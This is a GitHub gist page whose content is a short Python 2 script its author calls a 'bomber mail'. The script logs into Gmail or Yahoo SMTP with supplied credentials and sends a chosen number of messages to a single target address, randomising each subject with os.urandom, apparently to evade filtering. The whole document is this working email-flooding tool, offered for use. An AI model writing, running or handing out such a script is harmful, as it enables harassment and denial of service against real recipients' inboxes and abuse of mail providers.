Skip to content

Instantly share code, notes, and snippets.

@Gioyik
Created February 19, 2015 03:31
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Gioyik/d87adcc23fb81c83f430 to your computer and use it in GitHub Desktop.
Save Gioyik/d87adcc23fb81c83f430 to your computer and use it in GitHub Desktop.
A try to make a bomber mail
#!/usr/bin/python
import os
import smtplib
import getpass
import sys
server = raw_input ('server: ')
user = raw_input('username: ')
passwd = getpass.getpass('password: ')
to = raw_input('\nto: ')
#subject = raw_input('subject: ')
body = raw_input('message: ')
total = input('number of emails to send: ')
if server == 'gmail':
smtp_server = 'smtp.gmail.com'
port = 587
elif server == 'yahoo':
smtp_server = 'smtp.mail.yahoo.com'
port = 25
else:
print 'Applies only to gmail and yahoo.'
sys.exit()
print ''
try:
server = smtplib.SMTP(smtp_server,port)
server.ehlo()
if smtp_server == "smtp.gmail.com":
server.starttls()
server.login(user,passwd)
for i in range(1, total+1):
subject = os.urandom(9)
msg = 'from: ' + user + '\nsubject: ' + subject + '\n' + body
server.sendmail(user,to,msg)
print "\remails sent: %i" % i
sys.stdout.flush()
server.quit()
print '\n done !!!'
except KeyboardInterrupt:
print '[-] canceled'
sys.exit()
except smtplib.SMTPAuthenticationError:
print '\n[!] The username or password entered is incorrect.'
sys.exit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment